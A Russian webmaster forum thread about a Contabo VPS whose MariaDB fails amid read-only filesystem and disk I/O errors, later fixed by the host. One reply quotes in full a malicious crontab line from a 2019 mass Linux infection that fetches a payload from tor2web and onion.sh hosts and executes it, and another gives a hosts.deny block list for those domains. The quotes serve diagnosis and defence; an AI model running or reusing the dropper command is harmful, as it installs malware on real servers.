- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
Зашёл сегодня на почту, вижу ошибка соединения с базой данных. ОК, захожу на сервер, пытаюсь поднять БД. Сначала смотрю ее статус:
/etc/init.d/mysql status
● mariadb.service - MariaDB 10.1.38 database server
Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; vendor preset: enabled)
Active: failed (Result: exit-code) since Mon 2019-06-10 07:25:05 CEST; 4min 43s ago
Docs: man:mysqld(8)
https://mariadb.com/kb/en/library/systemd/
Process: 1780 ExecStartPost=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
Process: 1777 ExecStartPost=/etc/mysql/debian-start (code=exited, status=0/SUCCESS)
Process: 1252 ExecStart=/usr/sbin/mysqld $MYSQLD_OPTS $_WSREP_NEW_CLUSTER $_WSREP_START_POSITION (code=killed, signal=ABRT)
Process: 1081 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] && VAR= || VAR=`/usr/bin/galera_recovery`; [ $? -eq 0 ] && systemctl set-environment _WSREP_START_POSITION=$VAR || exit 1 (code=exited, status=0/SUCCESS)
Process: 1074 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
Process: 23570 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d /var/run/mysqld (code=exited, status=226/NAMESPACE)
Main PID: 1252 (code=killed, signal=ABRT)
Jun 10 07:25:05 vmd30300.contaboserver.net systemd[1]: Starting MariaDB 10.1.38 database server...
Jun 10 07:25:05 vmd30300.contaboserver.net systemd[1]: mariadb.service: Control process exited, code=exited status=226
Jun 10 07:25:05 vmd30300.contaboserver.net systemd[1]: Failed to start MariaDB 10.1.38 database server.
Jun 10 07:25:05 vmd30300.contaboserver.net systemd[1]: mariadb.service: Unit entered failed state.
Jun 10 07:25:05 vmd30300.contaboserver.net systemd[1]: mariadb.service: Failed with result 'exit-code'.
Лады, не проблема....
/etc/init.d/mysql start
в ответ на это:
/etc/init.d/mysql start
[....] Starting mysql (via systemctl): mysql.serviceJob for mariadb.service failed because the control process exited with error code.
See "systemctl status mariadb.service" and "journalctl -xe" for details.
failed!
Бред какой-то...... смотрю
systemctl status mariadb.service
в ответ на это:
systemctl status mariadb.service
● mariadb.service - MariaDB 10.1.38 database server
Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; vendor preset: enabled)
Active: failed (Result: exit-code) since Mon 2019-06-10 07:30:43 CEST; 42s ago
Docs: man:mysqld(8)
https://mariadb.com/kb/en/library/systemd/
Process: 1780 ExecStartPost=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
Process: 1777 ExecStartPost=/etc/mysql/debian-start (code=exited, status=0/SUCCESS)
Process: 1252 ExecStart=/usr/sbin/mysqld $MYSQLD_OPTS $_WSREP_NEW_CLUSTER $_WSREP_START_POSITION (code=killed, signal=ABRT)
Process: 1081 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] && VAR= || VAR=`/usr/bin/galera_recovery`; [ $? -eq 0 ] && systemctl set-environment _WSREP_START_POSITION=$VAR || exit 1 (code=exite
Process: 1074 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
Process: 23677 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d /var/run/mysqld (code=exited, status=226/NAMESPACE)
Main PID: 1252 (code=killed, signal=ABRT)
Jun 10 07:30:43 vmd30300.contaboserver.net systemd[1]: Starting MariaDB 10.1.38 database server...
Jun 10 07:30:43 vmd30300.contaboserver.net systemd[1]: mariadb.service: Control process exited, code=exited status=226
Jun 10 07:30:43 vmd30300.contaboserver.net systemd[1]: Failed to start MariaDB 10.1.38 database server.
Jun 10 07:30:43 vmd30300.contaboserver.net systemd[1]: mariadb.service: Unit entered failed state.
Jun 10 07:30:43 vmd30300.contaboserver.net systemd[1]: mariadb.service: Failed with result 'exit-code'.
Где что смотреть? По каким логам? Я не понимаю причину, по которой база данных недоступна.
/var/log/messages
/var/log/syslog - вроде всё чисто, просто сыпятся сообщения о недоступности сайтов... ну так это естественно...
Сейчас обнаружил, что я нигде не могу ничего создать - везде Read only file system. Это несмотря на то, что я рут в системе. Что вообще произошло, как понять?
Место на диске есть?
samimages, есть, но у меня уже ВСЁ упало... /dev/sda2 input/output error, сервер не стартует... в общем обратился в техподдержку, те тоже признали, что всё хреново, передали запрос технику....
Смотрите crontab -l Там гадость сидит.
сегодня массово поломали линуксы. Пока не удалось найти решение.
Хотя наверное это не тот случай.
Смотрите crontab -l Там гадость сидит.
сегодня массово поломали линуксы. Пока не удалось найти решение.
Есть информация по этому поводу?
А что показывает journalctl -xe?
Есть информация по этому поводу?
Пока только как временное решение > /etc/hosts.deny
ALL : .tor2web.io
ALL : .onion.sh
ALL : .tor2web.su
ALL : tor2web.sh
ибо остальное все малваря переписывает и атрибуты ставит.
Пока только как временное решение > /etc/hosts.deny
ALL : .tor2web.io
ALL : .onion.sh
ALL : .tor2web.su
ALL : tor2web.sh
ибо остальное все малваря переписывает и атрибуты ставит.
Что значит массово поломали? Какая ОС и ядро стояло? И где про массовость почитать?
Что значит массово поломали? Какая ОС и ядро стояло? И где про массовость почитать?
Судя по всему через уязвимость https://www.opennet.ru/opennews/art.shtml?num=50819
А заливают это https://vms.drweb.ru/virus/?i=17756667&lng=ru
но что-то модифицированное.
У троих хостеров уже знаю таких клиентов с жалобами на нестабильную работу сервера клиента. По проверке - сидит малварь. Поэтому и массово.
*/9 * * * * tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp
У Вас проблема с диском.
смотрите для начала
dmesg
smartctl -a /dev/sda
Всем привет и спасибо за ответы! :)
Что могу сказать? Технари всё починили. Сейчас робит. По факту написанного...
1)
У Вас проблема с диском.
смотрите для начала
dmesg
smartctl -a /dev/sda
smartctl -a /dev/sda2
smartctl 6.6 2016-05-31 r4324 [x86_64-linux-4.9.0-8-amd64] (local build)
Copyright (C) 2002-16, Bruce Allen, Christian Franke, www.smartmontools.org
=== START OF INFORMATION SECTION ===
Vendor: QEMU
Product: QEMU HARDDISK
Revision: 2.5+
User Capacity: 322,122,547,200 bytes [322 GB]
Logical block size: 512 bytes
LU is thin provisioned, LBPRZ=0
Device type: disk
Local Time is: Mon Jun 10 13:04:40 2019 CEST
SMART support is: Unavailable - device lacks SMART capability.
=== START OF READ SMART DATA SECTION ===
Current Drive Temperature: 0 C
Drive Trip Temperature: 0 C
Error Counter logging not supported
Device does not support Self Test logging
2)
Место на диске есть?
Чуть больше, чем дохрена :)
3)
Смотрите crontab -l Там гадость сидит.
Не-а, проверил, там всё в порядке - только мои задания на крон. Больше ничего.
Речь про contabo. В принципе технари быстро починили, претензий нет. Очень оперативно. Но вот такое в компашке не раз уже имеет место быть. Например, я захожу на почту - бац, БД недоступна. Захожу по SSH, включаю сервер и попутно вижу, что он недавно был перезагружен. Как? Я этого не делал, по e-mail тоже никаких уведомлений о работах не получал. Таких случаев уже довольно много было.
Был даже случай, когда сервак ни по SSH, ни даже по VNC не был доступен. От панели управления у меня пароль на почте, так что туда тоже доступа не было... пришлось как-то выкручиваться...
Ну ладно, это лирика... просто интересно, стоит ли после такого подыскивать замену хостеру. Уж очень сложно, цены у хостера более чем привлекательные...